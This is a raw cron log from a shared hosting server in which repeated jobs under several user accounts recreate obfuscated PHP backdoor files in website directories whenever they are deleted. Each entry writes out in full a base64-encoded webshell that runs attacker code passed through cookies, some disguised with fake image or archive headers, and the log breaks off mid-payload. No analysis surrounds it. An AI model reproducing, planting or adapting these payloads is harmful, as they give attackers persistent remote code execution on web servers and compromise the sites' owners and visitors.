Mar  1 05:01:01 medusa CROND[20616]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:01:01 medusa CROND[20617]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:01:01 medusa CROND[20618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:01:01 medusa CROND[20619]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:01:01 medusa CROND[20621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:01:01 medusa CROND[20623]: (root) CMD (run-parts /etc/cron.hourly)
Mar  1 05:01:01 medusa CROND[20624]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:01:01 medusa CROND[20633]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:01:01 medusa CROND[20634]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:01:01 medusa CROND[20635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:01:01 medusa CROND[20637]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:01:01 medusa CROND[20636]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:01:01 medusa CROND[20638]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:01:01 medusa CROND[20644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:01:02 medusa run-parts(/etc/cron.hourly)[20623]: starting 0anacron
Mar  1 05:01:02 medusa run-parts(/etc/cron.hourly)[20835]: finished 0anacron
Mar  1 05:02:01 medusa CROND[12956]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:02:01 medusa CROND[13010]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:02:01 medusa CROND[13011]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:02:01 medusa CROND[13013]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:02:01 medusa CROND[13015]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:02:01 medusa CROND[13017]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:02:01 medusa CROND[13016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:02:01 medusa CROND[13021]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:02:01 medusa CROND[13028]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:02:01 medusa CROND[13029]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:02:01 medusa CROND[13030]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:02:01 medusa CROND[13031]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:02:01 medusa CROND[13033]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:03:01 medusa CROND[5183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:03:01 medusa CROND[5184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:03:01 medusa CROND[5185]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSA